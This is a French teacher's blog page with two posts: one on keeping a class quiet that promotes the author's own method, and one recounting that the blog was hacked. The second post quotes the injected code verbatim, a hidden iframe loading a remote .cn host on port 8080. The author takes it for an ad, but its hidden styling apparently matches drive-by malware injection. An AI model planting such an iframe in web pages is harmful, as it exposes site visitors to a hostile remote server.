Le Roi Prof : blog sur l'école, les profs et les élèves

Faire son cours dans le calme : un doux rêve ?

Question fondamentale pour un professeur qui vient tout juste d’entrer dans le corps enseignant : face à ma classe, comment je fais pour m’imposer, pour calmer les élèves turbulents et taire ceux bavards, bref, pour faire cours dans des conditions optimales ? Pourtant, il est très rare qu’il en connaisse la réponse. Et pour cause : les IUFM chargés d’apprendre le métier à ces futurs professeurs ne le leur apportent pas !

Sans réponse à leur légitime interrogation, les nouveaux professeurs vont être forcés de trouver par eux-mêmes leur voie ; ils vont se forger leur propre méthode de travail en apprenant sur le tas. Et ce tas porte aussi un autre nom : les élèves. Ce sont les élèves qui souffriront le plus des déficiences des IUFM, car ils se retrouveront face à un professeur en herbe, peut-être très calé dans son domaine de prédilection (français, mathématiques, langues, etc.), mais n’ayant aucune compétence réelle à maîtriser, captiver et diriger une classe de trente à quarante élèves.

Supposons que vous, en tant qu’enseignant, vous soyez face à une classe où la moitié de ses éléments bavardent joyeusement entre eux, sans faire le moins du monde attention à vous. Et à vrai dire, à leurs yeux, vous faites probablement partie du décor. Qu’allez-vous faire ?
• Continuer votre cours, comme si de rien n’était ?
• Ou à l’inverse, attendre patiemment que le silence revienne ?
• Sinon, demander à la classe de se taire : « On se tait, maintenant ! » ?
• Voir, de faire pression en menaçant de dicter ?

Vous avez tous vos raisons d’agir d’une certaine façon. C’est votre style personnel. Seulement, cette façon de faire, pensez-vous que se soit la meilleure qui soit ? Les avez-vous toutes expérimentées ? Connaissez-vous des collègues à vous qui parviennent à faire leur cours dans le silence le plus total, avec vos propres classes ?

Moi, j’en ai connu. Et j’ai tiré un enseignement de leur pratique tout à fait exemplaire de faire cours. Car, entendons-nous bien, ils parvenaient avec notre classe à faire leur heure dans le calme le plus complet, là où les autres professeurs se cassaient le plus souvent les dents.

Si vous êtes professeur (ou que vous voulez l’être) et que vous voulez en finir avec les bavardages et autres gênes dans vos cours, je vous invite à vous rendre sur le site officiel de la méthode que j’ai créé :
» Oui, je suis intéressé par cette méthode un poil surréaliste

Incroyable. Mon blog a été piraté. Comme vous êtes très peu à le visiter (il n’est crée que depuis peu), peut-être que vous n’avez rien vu. En tout cas, moi, lorsque j’y suis allé ce matin, tout naturellement, voilà ce qu’on m’affichait, à la place de l’accueil :
Parse error: syntax error, unexpected $end in /homez.184/leroipro/www/index.php on line 18

Heureusement que je m’y connais un peu en langage de programmation ; je suis allé voir à la source et j’ai effectivement vu que mon code a été trafiqué. Il manquait des lignes de codes essentielles au fonctionnement de celui-ci. A vrai dire, je crois que le pirate s’est loupé, puisque son but était d’afficher un spot de pub à la place de mon blog. C’est cela qu’il voulait afficher :
<iframe src="http://thehomename.cn:8080/index.php" width=179 height=195 style="visibility: hidden"><iframe>
C’est un code pour afficher une fenêtre. Et regardez sur quoi le lien pointe :
http://thehomename.cn/
Un site pour les SMS et les téléphones portables… A la place, il n’y a eu qu’une fenêtre blanche avec un message d’erreur.

Mon code a été bousillé à d’autres endroits et, à chaque fois, je retrouve ce site. Comme vous pouvez le voir, j’ai pu quand même pu restaurer celui original. Mais le plus troublant, c’est comment le pirate (probablement un robot stupide) a réussi à s’infiltrer.